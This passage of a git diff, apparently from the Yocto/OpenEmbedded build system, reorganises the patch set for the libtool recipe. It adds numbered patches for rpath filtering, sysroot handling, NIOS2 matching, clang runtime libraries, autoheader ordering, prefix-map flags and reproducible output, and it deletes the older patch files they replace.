+ elif test -n "$runpath_var"; then
+ case "$perm_rpath " in
+@@ -8489,8 +8505,14 @@ EOF
+ esac
+ fi
+ else
+- eval flag=\"$hardcode_libdir_flag_spec\"
+- func_append rpath " $flag"
++ # We only want to hardcode in an rpath if it isn't in the
++ # default dlsearch path.
++ case " $sys_lib_dlsearch_path " in
++ *" $libdir "*) ;;
++ *) eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append rpath " $flag"
++ ;;
++ esac
+ fi
+ elif test -n "$runpath_var"; then
+ case "$finalize_perm_rpath " in
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/libtool/libtool/0006-libtool.m4-Handle-as-a-sysroot-correctly.patch b/meta/recipes-devtools/libtool/libtool/0006-libtool.m4-Handle-as-a-sysroot-correctly.patch
new file mode 100644
index 0000000000..c104e904cc
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0006-libtool.m4-Handle-as-a-sysroot-correctly.patch
@@ -0,0 +1,38 @@
+libtool.m4: Change libtool to handle sysroots by default
+
+Rather than using no sysroot by default, always query gcc to obtain the sysroot.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Inappropriate [Upstream are unlikely to accept this change of default]
+
+---
+ m4/libtool.m4 | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/m4/libtool.m4 b/m4/libtool.m4
+index 2f31d24..bd90775 100644
+--- a/m4/libtool.m4
++++ b/m4/libtool.m4
+@@ -1254,18 +1254,18 @@ dnl lt_sysroot will always be passed unquoted. We quote it here
+ dnl in case the user passed a directory name.
+ lt_sysroot=
+ case $with_libtool_sysroot in #(
+- yes)
++ no)
+ if test yes = "$GCC"; then
+ # Trim trailing / since we'll always append absolute paths and we want
+ # to avoid //, if only for less confusing output for the user.
+ lt_sysroot=`$CC --print-sysroot 2>/dev/null | $SED 's:/\+$::'`
+ fi
+ ;; #(
++ yes|''|/)
++ ;; #(
+ /*)
+ lt_sysroot=`echo "$with_libtool_sysroot" | $SED -e "$sed_quote_subst"`
+ ;; #(
+- no|'')
+- ;; #(
+ *)
+ AC_MSG_RESULT([$with_libtool_sysroot])
+ AC_MSG_ERROR([The sysroot must be an absolute path.])
diff --git a/meta/recipes-devtools/libtool/libtool/0007-libtool-Fix-support-for-NIOS2-processor.patch b/meta/recipes-devtools/libtool/libtool/0007-libtool-Fix-support-for-NIOS2-processor.patch
new file mode 100644
index 0000000000..676ce7fd1b
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0007-libtool-Fix-support-for-NIOS2-processor.patch
@@ -0,0 +1,60 @@
+libtool: Fix support for NIOS2 processor
+
+The name of the system contains the string "nios2". This string
+is caught by the some of the greedy checks for OS/2 in libtool,
+in particular the *os2* branches of switch statements match for
+the nios2 string, which results in incorrect behavior of libtool.
+
+Switch to use $host_os instead of $host and tweak the patterns to
+match to avoid this problem for nios2.
+
+* build-aux/ltmain.in: Fix NIOS2 support
+---
+ build-aux/ltmain.in | 12 ++++++------
+ 1 file changed, 6 insertions(+), 6 deletions(-)
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Submitted: https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00021.html
+Reworked and submitted: https://lists.gnu.org/archive/html/libtool-patches/2024-01/msg00068.html
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/libtool.git/commit/?id=49e6cb0d4dfdca2a59b909dc4532fe22dbc57ad5]
+
+Index: libtool-2.4.7/build-aux/ltmain.in
+===================================================================
+--- libtool-2.4.7.orig/build-aux/ltmain.in
++++ libtool-2.4.7/build-aux/ltmain.in
+@@ -518,10 +518,10 @@ libtool_validate_options ()
+ # preserve --debug
+ test : = "$debug_cmd" || func_append preserve_args " --debug"
+
+- case $host in
++ case $host_os in
+ # Solaris2 added to fix http://debbugs.gnu.org/cgi/bugreport.cgi?bug=16452
+ # see also: http://gcc.gnu.org/bugzilla/show_bug.cgi?id=59788
+- *cygwin* | *mingw* | *pw32* | *cegcc* | *solaris2* | *os2*)
++ cygwin* | mingw* | pw32* | cegcc* | solaris2* | os2*)
+ # don't eliminate duplications in $postdeps and $predeps
+ opt_duplicate_compiler_generated_deps=:
+ ;;
+@@ -6273,8 +6273,8 @@ func_mode_link ()
+ fi
+ if test -n "$library_names" &&
+ { test no = "$use_static_libs" || test -z "$old_library"; }; then
+- case $host in
+- *cygwin* | *mingw* | *cegcc* | *os2*)
++ case $host_os in
++ cygwin* | mingw* | cegcc* | os2*)
+ # No point in relinking DLLs because paths are not encoded
+ func_append notinst_deplibs " $lib"
+ need_relink=no
+@@ -6343,8 +6343,8 @@ func_mode_link ()
+ soname=$dlname
+ elif test -n "$soname_spec"; then
+ # bleh windows
+- case $host in
+- *cygwin* | mingw* | *cegcc* | *os2*)
++ case $host_os in
++ cygwin* | mingw* | cegcc* | os2*)
+ func_arith $current - $age
+ major=$func_arith_result
+ versuffix=-$major
diff --git a/meta/recipes-devtools/libtool/libtool/0008-libtool-Check-for-static-libs-for-internal-compiler-.patch b/meta/recipes-devtools/libtool/libtool/0008-libtool-Check-for-static-libs-for-internal-compiler-.patch
new file mode 100644
index 0000000000..c151c3b481
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0008-libtool-Check-for-static-libs-for-internal-compiler-.patch
@@ -0,0 +1,33 @@
+From: Khem Raj <raj.khem@gmail.com>
+Subject: [PATCH 08/12] libtool: Check for static libs for internal compiler libraries
+
+Libtool checks only for libraries linked as -l* when trying to
+find internal compiler libraries. Clang, however uses the absolute
+path to link its internal libraries e.g. compiler_rt. This patch
+handles clang's statically linked libraries when finding internal
+compiler libraries.
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+https://crbug.com/749263
+https://debbugs.gnu.org/cgi/bugreport.cgi?bug=27866
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00016.html]
+
+diff --git a/m4/libtool.m4 b/m4/libtool.m4
+index bd90775..3794130 100644
+--- a/m4/libtool.m4
++++ b/m4/libtool.m4
+@@ -7556,7 +7556,7 @@ if AC_TRY_EVAL(ac_compile); then
+ for p in `eval "$output_verbose_link_cmd"`; do
+ case $prev$p in
+
+- -L* | -R* | -l*)
++ -L* | -R* | -l* | */libclang_rt.*.a)
+ # Some compilers place space between "-{L,R}" and the path.
+ # Remove the space.
+ if test x-L = "$p" ||
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/libtool/libtool/0009-Makefile.am-make-sure-autoheader-run-before-autoconf.patch b/meta/recipes-devtools/libtool/libtool/0009-Makefile.am-make-sure-autoheader-run-before-autoconf.patch
new file mode 100644
index 0000000000..f51deecbef
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0009-Makefile.am-make-sure-autoheader-run-before-autoconf.patch
@@ -0,0 +1,31 @@
+From: Mingli Yu <mingli.yu@windriver.com>
+Subject: [PATCH 09/12] Makefile.am: make sure autoheader run before autoconf
+
+autoheader will update ../libtool-2.4.6/libltdl/config-h.in which
+autoconf needs, so there comes a race sometimes as below:
+ | configure.ac:45: error: required file 'config-h.in' not found
+ | touch '../libtool-2.4.6/libltdl/config-h.in'
+
+So make sure autoheader run before autoconf to avoid this race.
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/libtool.git/commit/?id=e7dc729dd27b367905cd0ce52b5466d91537857a]
+
+diff --git a/Makefile.am b/Makefile.am
+index c29860e..9c34bfd 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -370,7 +370,7 @@ lt_configure_deps = $(lt_aclocal_m4) $(lt_aclocal_m4_deps)
+ $(lt_aclocal_m4): $(lt_aclocal_m4_deps)
+ $(AM_V_GEN)cd '$(srcdir)/$(ltdl_dir)' && $(ACLOCAL) -I ../m4
+
+-$(lt_configure): $(lt_configure_deps)
++$(lt_configure): $(lt_configure_deps) $(lt_config_h_in)
+ $(AM_V_GEN)cd '$(srcdir)/$(ltdl_dir)' && $(AUTOCONF)
+
+ $(lt_config_h_in): $(lt_configure_deps)
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/libtool/libtool/0010-Makefile.am-make-sure-autoheader-run-before-automake.patch b/meta/recipes-devtools/libtool/libtool/0010-Makefile.am-make-sure-autoheader-run-before-automake.patch
new file mode 100644
index 0000000000..e451de59e3
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0010-Makefile.am-make-sure-autoheader-run-before-automake.patch
@@ -0,0 +1,33 @@
+From: Mingli Yu <mingli.yu@windriver.com>
+Subject: [PATCH 10/12] Makefile.am: make sure autoheader run before automake
+
+When use automake to generate Makefile.in from Makefile.am, there
+comes below race:
+ | configure.ac:45: error: required file 'config-h.in' not found
+
+It is because the file config-h.in in updating process by autoheader,
+so make automake run after autoheader to avoid the above race.
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/libtool.git/commit/?id=e01c0bfe5e041418d84460901a1a5b11b89d596f]
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+
+diff --git a/Makefile.am b/Makefile.am
+index 9c34bfd..231ef3f 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -333,7 +333,7 @@ EXTRA_DIST += $(lt_aclocal_m4) \
+ $(lt_obsolete_m4) \
+ $(stamp_mk)
+
+-$(lt_Makefile_in): $(lt_Makefile_am) $(lt_aclocal_m4)
++$(lt_Makefile_in): $(lt_Makefile_am) $(lt_aclocal_m4) $(lt_config_h_in)
+ $(AM_V_GEN)cd '$(srcdir)/$(ltdl_dir)' && $(AUTOMAKE) Makefile
+
+ # Don't let unused scripts leak into the libltdl Makefile
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/libtool/libtool/0011-ltmain.in-Handle-prefix-map-compiler-options-correct.patch b/meta/recipes-devtools/libtool/libtool/0011-ltmain.in-Handle-prefix-map-compiler-options-correct.patch
new file mode 100644
index 0000000000..4c6b6f05b4
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0011-ltmain.in-Handle-prefix-map-compiler-options-correct.patch
@@ -0,0 +1,37 @@
+ltmain.in: Handle prefix-map compiler options correctly
+
+If lto is enabled, we need the prefix-map variables to be passed to the linker
+to correctly link the objects using correctly mapped paths.
+
+Add these to the list of options libtool passes through.
+
+* build-aux/ltmain.in: Handle prefix-map compiler options
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00019.html
+https://lists.gnu.org/archive/html/libtool-patches/2024-01/msg00066.html
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/libtool.git/commit/?id=cdf4bf702f11d17e06569936e8a433a77f791228]
+
+---
+ build-aux/ltmain.in | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
+index 0a50f5b..037f009 100644
+--- a/build-aux/ltmain.in
++++ b/build-aux/ltmain.in
+@@ -5413,11 +5413,12 @@ func_mode_link ()
+ # -stdlib=* select c++ std lib with clang
+ # -fsanitize=* Clang/GCC memory and address sanitizer
+ # -fuse-ld=* Linker select flags for GCC
++ # -f{file|debug|macro|profile}-prefix-map* needed for lto linking
+ # -Wa,* Pass flags directly to the assembler
+ -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*| \
+ -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*|-tp=*|--sysroot=*| \
+ -O*|-g*|-flto*|-fwhopr*|-fuse-linker-plugin|-fstack-protector*|-stdlib=*| \
+- -specs=*|-fsanitize=*|-fuse-ld=*|-Wa,*)
++ -specs=*|-fsanitize=*|-fuse-ld=*|-ffile-prefix-map=*|-fdebug-prefix-map=*|-fmacro-prefix-map=*|-fprofile-prefix-map=*|-Wa,*)
+ func_quote_arg pretty "$arg"
+ arg=$func_quote_arg_result
+ func_append compile_command " $arg"
diff --git a/meta/recipes-devtools/libtool/libtool/0012-libtool.m4-For-reproducibility-stop-encoding-hostnam.patch b/meta/recipes-devtools/libtool/libtool/0012-libtool.m4-For-reproducibility-stop-encoding-hostnam.patch
new file mode 100644
index 0000000000..8469b8727e
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0012-libtool.m4-For-reproducibility-stop-encoding-hostnam.patch
@@ -0,0 +1,29 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 12/12] libtool.m4: For reproducibility stop encoding hostname in libtool script
+
+For reproducibilty, stop encoding the hostname into the libtool script, this isn't
+really adding much to debugging and most distros are carrying such a patch now as
+reproducibility is important.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+https://sources.debian.org/data/main/libt/libtool/2.4.6-10/debian/patches/
+ no_hostname.patch
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/libtool.git/commit/?id=bd826173c4c9c3fa8d77d92785754897cb4bfd89]
+
+diff --git a/m4/libtool.m4 b/m4/libtool.m4
+index 3794130..84a550c 100644
+--- a/m4/libtool.m4
++++ b/m4/libtool.m4
+@@ -730,7 +730,6 @@ _LT_CONFIG_SAVE_COMMANDS([
+ cat <<_LT_EOF >> "$cfgfile"
+ #! $SHELL
+ # Generated automatically by $as_me ($PACKAGE) $VERSION
+-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+
+ # Provide generalized library-building support services.
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/libtool/libtool/debian-no_hostname.patch b/meta/recipes-devtools/libtool/libtool/debian-no_hostname.patch
deleted file mode 100755
index 5add0cca3b..0000000000
--- a/meta/recipes-devtools/libtool/libtool/debian-no_hostname.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-libtool: remove host specific info from header file
-
-https://sources.debian.org/data/main/libt/libtool/2.4.6-10/debian/patches/
- no_hostname.patch
-
-Upstream-Status: Inappropriate [not author]
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
----
-Index: libtool-2.4.6/m4/libtool.m4
-===================================================================
---- libtool-2.4.6.orig/m4/libtool.m4
-+++ libtool-2.4.6/m4/libtool.m4
-@@ -728,7 +728,6 @@ _LT_CONFIG_SAVE_COMMANDS([
- cat <<_LT_EOF >> "$cfgfile"
- #! $SHELL
- # Generated automatically by $as_me ($PACKAGE) $VERSION
--# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
-
- # Provide generalized library-building support services.
diff --git a/meta/recipes-devtools/libtool/libtool/dont-depend-on-help2man.patch b/meta/recipes-devtools/libtool/libtool/dont-depend-on-help2man.patch
index fd4084c859..0013d16544 100644
--- a/meta/recipes-devtools/libtool/libtool/dont-depend-on-help2man.patch
+++ b/meta/recipes-devtools/libtool/libtool/dont-depend-on-help2man.patch
@@ -4,9 +4,10 @@ Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
Updated by: Robert Yang <liezhi.yang@windriver.com>
diff --git a/Makefile.am b/Makefile.am
+index 7bd7f72..c29860e 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -404,21 +404,6 @@ $(notes_txt): $(notes_texi)
+@@ -411,21 +411,6 @@ $(notes_txt): $(notes_texi)
$(AM_V_GEN)$(MAKEINFO) -P '$(srcdir)/doc' --no-headers \
$(MAKEINFOFLAGS) -o '$@' '$(notes_texi)'
diff --git a/meta/recipes-devtools/libtool/libtool/fix-final-rpath.patch b/meta/recipes-devtools/libtool/libtool/fix-final-rpath.patch
deleted file mode 100644
index 5c9f8cc9c0..0000000000
--- a/meta/recipes-devtools/libtool/libtool/fix-final-rpath.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-Enalbing sysroot support exposed a bug where the final library
-had an RPATH encoded into it which still pointed to the sysroot.
-This works around the issue until it gets sorted out upstream.
-
-Fix suggested by Richard Purdie <richard.purdie@intel.com>
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Signed-off-by: Randy Witt <randy.e.witt@linux.intel.com>
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
---- a/build-aux/ltmain.in
-+++ b/build-aux/ltmain.in
-@@ -7569,9 +7569,11 @@ EOF
- test relink = "$opt_mode" || rpath=$compile_rpath$rpath
- for libdir in $rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
-+ func_replace_sysroot "$libdir"
-+ libdir=$func_replace_sysroot_result
-+ func_stripname '=' '' "$libdir"
-+ libdir=$func_stripname_result
- if test -n "$hardcode_libdir_separator"; then
-- func_replace_sysroot "$libdir"
-- libdir=$func_replace_sysroot_result
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs=$libdir
- else
-@@ -8301,6 +8303,10 @@ EOF
- hardcode_libdirs=
- for libdir in $compile_rpath $finalize_rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
-+ func_replace_sysroot "$libdir"
-+ libdir=$func_replace_sysroot_result
-+ func_stripname '=' '' "$libdir"
-+ libdir=$func_stripname_result
- if test -n "$hardcode_libdir_separator"; then
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs=$libdir
-@@ -8352,6 +8358,10 @@ EOF
- hardcode_libdirs=
- for libdir in $finalize_rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
-+ func_replace_sysroot "$libdir"
-+ libdir=$func_replace_sysroot_result
-+ func_stripname '=' '' "$libdir"
-+ libdir=$func_stripname_result
- if test -n "$hardcode_libdir_separator"; then
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs=$libdir
diff --git a/meta/recipes-devtools/libtool/libtool/fix-resolve-lt-sysroot.patch b/meta/recipes-devtools/libtool/libtool/fix-resolve-lt-sysroot.patch
deleted file mode 100644
index 1bd95980c0..0000000000
--- a/meta/recipes-devtools/libtool/libtool/fix-resolve-lt-sysroot.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-Upstream-Status: Pending
-
-This patch updates libtool.m4 (and its output) to resolve a problem
-with variable 'lt_sysroot' not being properly updated if the option
-'--with[-libtool]-sysroot' is not provided when running the 'configure'
-script for a package.
-
-I have also reported the problem to libtool here
-
-http://lists.gnu.org/archive/html/bug-libtool/2013-09/msg00005.html
-
-Signed-off-by: Hans Beckerus <hans.beckerus at gmail.com>
-Updated by: Robert Yang <liezhi.yang@windriver.com>
----
-diff --git a/m4/libtool.m4 b/m4/libtool.m4
---- a/m4/libtool.m4
-+++ b/m4/libtool.m4
-@@ -1225,16 +1225,21 @@ dnl lt_sysroot will always be passed unquoted. We quote it here
- dnl in case the user passed a directory name.
- lt_sysroot=
- case $with_libtool_sysroot in #(
-- yes)
-+ no)
- if test yes = "$GCC"; then
- lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ # Treat "/" the same a an unset sysroot. It seems to be more
-+ # compatible across host platforms that way!?
-+ if test "$lt_sysroot" = /; then
-+ lt_sysroot=
-+ fi
- fi
- ;; #(
-+ yes|''|/)
-+ ;; #(
- /*)
- lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
- ;; #(
-- no|'')
-- ;; #(
- *)
- AC_MSG_RESULT([$with_libtool_sysroot])
- AC_MSG_ERROR([The sysroot must be an absolute path.])
diff --git a/meta/recipes-devtools/libtool/libtool/fix-rpath.patch b/meta/recipes-devtools/libtool/libtool/fix-rpath.patch
deleted file mode 100644
index a2ec9473e7..0000000000
--- a/meta/recipes-devtools/libtool/libtool/fix-rpath.patch
+++ /dev/null
@@ -1,65 +0,0 @@
-We don't want to add RPATHS which match default linker
-search paths, they're a waste of space. This patch
-filters libtools list and removes the ones we don't need.
-
-RP 23/9/2011
-
-Upstream-Status: Pending
-
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-Index: libtool-2.4.2/build-aux/ltmain.in
-===================================================================
---- libtool-2.4.2.orig/build-aux/ltmain.in
-+++ libtool-2.4.2/build-aux/ltmain.in
-@@ -7286,8 +7286,14 @@ EOF
- esac
- fi
- else
-- eval flag=\"$hardcode_libdir_flag_spec\"
-- func_append dep_rpath " $flag"
-+ # We only want to hardcode in an rpath if it isn't in the
-+ # default dlsearch path.
-+ case " $sys_lib_dlsearch_path " in
-+ *" $libdir "*) ;;
-+ *) eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append dep_rpath " $flag"
-+ ;;
-+ esac
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
-@@ -8019,8 +8025,14 @@ EOF
- esac
- fi
- else
-- eval flag=\"$hardcode_libdir_flag_spec\"
-- func_append rpath " $flag"
-+ # We only want to hardcode in an rpath if it isn't in the
-+ # default dlsearch path.
-+ case " $sys_lib_dlsearch_path " in
-+ *" $libdir "*) ;;
-+ *) eval flag=\"$hardcode_libdir_flag_spec\"
-+ rpath+=" $flag"
-+ ;;
-+ esac
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
-@@ -8070,8 +8082,14 @@ EOF
- esac
- fi
- else
-- eval flag=\"$hardcode_libdir_flag_spec\"
-- func_append rpath " $flag"
-+ # We only want to hardcode in an rpath if it isn't in the
-+ # default dlsearch path.
-+ case " $sys_lib_dlsearch_path " in
-+ *" $libdir "*) ;;
-+ *) eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append rpath " $flag"
-+ ;;
-+ esac
- fi
- elif test -n "$runpath_var"; then
- case "$finalize_perm_rpath " in
diff --git a/meta/recipes-devtools/libtool/libtool/fixinstall.patch b/meta/recipes-devtools/libtool/libtool/fixinstall.patch
index 8f343bf436..48330d82fb 100644
--- a/meta/recipes-devtools/libtool/libtool/fixinstall.patch
+++ b/meta/recipes-devtools/libtool/libtool/fixinstall.patch
@@ -27,9 +27,9 @@ diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
- if test -n "$relink_command"; then
+ if test "$fast_install" = no && test -n "$relink_command"; then
- # Strip any trailing slash from the destination.
- func_stripname '' '/' "$libdir"
- destlibdir=$func_stripname_result
+ # Strip any trailing slash from the destination.
+ func_stripname '' '/' "$libdir"
+ destlibdir=$func_stripname_result
@@ -2394,7 +2394,7 @@ func_mode_install ()
shift
diff --git a/meta/recipes-devtools/libtool/libtool/norm-rpath.patch b/meta/recipes-devtools/libtool/libtool/norm-rpath.patch
deleted file mode 100644
index 1e4c65e024..0000000000
--- a/meta/recipes-devtools/libtool/libtool/norm-rpath.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-libtool: normalize link paths before considering for RPATH
-
-Libtool may be passed link paths of the form "/usr/lib/../lib", which
-fool its detection code into thinking it should be included as an
-RPATH in the generated binary. Normalize before comparision.
-
-Signed-off-by: Andy Ross <andy.ross@windriver.com>
-Upstream-Status: Pending
-
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff -ur a/build-aux/ltmain.in b/build-aux/ltmain.in
---- a/build-aux/ltmain.in 2012-08-16 13:58:55.058900363 -0700
-+++ b/build-aux/ltmain.in 2012-08-22 11:01:34.191345989 -0700
-@@ -7288,8 +7288,10 @@
- else
- # We only want to hardcode in an rpath if it isn't in the
- # default dlsearch path.
-+ func_normal_abspath "$libdir"
-+ libdir_norm=$func_normal_abspath_result
- case " $sys_lib_dlsearch_path " in
-- *" $libdir "*) ;;
-+ *" $libdir_norm "*) ;;
- *) eval flag=\"$hardcode_libdir_flag_spec\"
- func_append dep_rpath " $flag"
- ;;
-@@ -8027,8 +8029,10 @@
- else
- # We only want to hardcode in an rpath if it isn't in the
- # default dlsearch path.
-+ func_normal_abspath "$libdir"
-+ libdir_norm=$func_normal_abspath_result
- case " $sys_lib_dlsearch_path " in
-- *" $libdir "*) ;;
-+ *" $libdir_norm "*) ;;
- *) eval flag=\"$hardcode_libdir_flag_spec\"
- rpath+=" $flag"
- ;;
diff --git a/meta/recipes-devtools/libtool/libtool/prefix.patch b/meta/recipes-devtools/libtool/libtool/prefix.patch
deleted file mode 100644
index a73df2e4a7..0000000000
--- a/meta/recipes-devtools/libtool/libtool/prefix.patch
+++ /dev/null
@@ -1,98 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-Renames "libtool" -> "${TARGET_PREFIX}libtool" which makes sure
-it can't be confused with the host libtool.
-
-Originally by: RP
-
-Updated: Date: 2010/06/28
-Nitin A Kamble <nitin.a.kamble@intel.com>
-
-It also adjusts libtool so that the header at the script is used for
-script execution and not thevalue of $SHELL. This is because many
-Makefiles change $SHELL so dash can get used to execute what is
-otherwise configured as a bash shell script. Since we don't need to
-execute scipts this way on any system I'm aware of us building upon,
-the simplest fix is just to remove $SHELL.
-
-Updated: Date: 2011/11/09
-RP
-
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff --git a/Makefile.am b/Makefile.am
---- a/Makefile.am
-+++ b/Makefile.am
-@@ -31,7 +31,7 @@ SUBDIRS = .
- DIST_SUBDIRS = $(SUBDIRS)
- EXTRA_DIST =
-
--BUILT_SOURCES = libtool libtoolize
-+BUILT_SOURCES = $(host_alias)-libtool libtoolize
-
- CLEANFILES =
- MOSTLYCLEANFILES =
-@@ -67,7 +67,7 @@ build_scripts = $(srcdir)/$(aux_dir)/announce-gen \
-
- EXTRA_DIST += bootstrap bootstrap.conf $(build_scripts) cfg.mk maint.mk \
- GNUmakefile
--CLEANFILES += libtool libtoolize
-+CLEANFILES += $(host_alias)-libtool libtoolize
-
- ## If a file is named several times below, and especially if it
- ## is a distributed file created during Libtool bootstrap, we
-@@ -276,7 +276,7 @@ configure_edit = $(bootstrap_edit) \
- -e 's|@srcdir\@|$(srcdir)|g'
-
- # The libtool distributor and the standalone libtool script.
--bin_SCRIPTS = libtool
-+bin_SCRIPTS = $(host_alias)-libtool
-
- libtoolize: $(libtoolize_in) $(config_status)
- $(AM_V_at)rm -f '$@'
-@@ -287,7 +287,7 @@ libtoolize: $(libtoolize_in) $(config_status)
- # We used to do this with a 'stamp-vcl' file, but non-gmake builds
- # would rerun configure on every invocation, so now we manually
- # check the version numbers from the build rule when necessary.
--libtool: $(ltmain_sh) $(config_status) $(dotversion)
-+$(host_alias)-libtool: $(ltmain_sh) $(config_status) $(dotversion)
- @$(rebuild); \
- if test -f '$@'; then \
- eval `'$(SED)' -n '/^package_revision=/p' '$@'`; \
-@@ -731,12 +731,12 @@ TESTS_ENVIRONMENT = MAKE="$(MAKE)" CC="$(CC)" CFLAGS="$(CFLAGS)" \
-
- BUILDCHECK_ENVIRONMENT = _lt_pkgdatadir="$(abs_top_srcdir)" \
- LIBTOOLIZE="$(abs_top_builddir)/libtoolize" \
-- LIBTOOL="$(abs_top_builddir)/libtool" \
-+ LIBTOOL="$(abs_top_builddir)/$(host_alias)-libtool" \
- tst_aclocaldir="$(abs_top_srcdir)/m4"
-
- INSTALLCHECK_ENVIRONMENT = \
- LIBTOOLIZE="$(bindir)/`echo libtoolize |$(SED) '$(program_transform_name)'`" \
-- LIBTOOL="$(bindir)/`echo libtool |$(SED) '$(program_transform_name)'`" \
-+ LIBTOOL="$(bindir)/`echo $(host_alias)-libtool |$(SED) '$(program_transform_name)'`" \
- LTDLINCL="-I$(includedir)" \
- LIBLTDL="$(libdir)/libltdl.la" \
- tst_aclocaldir="$(aclocaldir)"
-diff --git a/m4/libtool.m4 b/m4/libtool.m4
---- a/m4/libtool.m4
-+++ b/m4/libtool.m4
-@@ -86,7 +86,8 @@ _LT_SET_OPTIONS([$0], [$1])
- LIBTOOL_DEPS=$ltmain
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
- AC_SUBST(LIBTOOL)dnl
-
- _LT_SETUP
-@@ -199,7 +200,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a '.a' archive for static linking (except MSVC,
diff --git a/meta/recipes-devtools/libtool/libtool/rename-with-sysroot.patch b/meta/recipes-devtools/libtool/libtool/rename-with-sysroot.patch
deleted file mode 100644
index ad2b110530..0000000000
--- a/meta/recipes-devtools/libtool/libtool/rename-with-sysroot.patch
+++ /dev/null
@@ -1,166 +0,0 @@
-Upstream-Status: Pending
-
-This patch renames the --with-sysroot option to --with-libtool-sysroot
-to avoid namespace conflict with binutils, gcc and other toolchain
-components.
-
-I also reported the problem to libtool here
-
-http://lists.gnu.org/archive/html/libtool/2010-10/msg00048.html
-
--Khem Raj <raj.khem@gmail.com>
-
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff --git a/m4/libtool.m4 b/m4/libtool.m4
---- a/m4/libtool.m4
-+++ b/m4/libtool.m4
-@@ -1215,28 +1215,28 @@ _LT_DECL([], [ECHO], [1], [An echo program that protects backslashes])
- # ----------------
- AC_DEFUN([_LT_WITH_SYSROOT],
- [AC_MSG_CHECKING([for sysroot])
--AC_ARG_WITH([sysroot],
--[AS_HELP_STRING([--with-sysroot@<:@=DIR@:>@],
-+AC_ARG_WITH([libtool-sysroot],
-+[AS_HELP_STRING([--with-libtool-sysroot@<:@=DIR@:>@],
- [Search for dependent libraries within DIR (or the compiler's sysroot
- if not specified).])],
--[], [with_sysroot=no])
-+[], [with_libtool_sysroot=no])
-
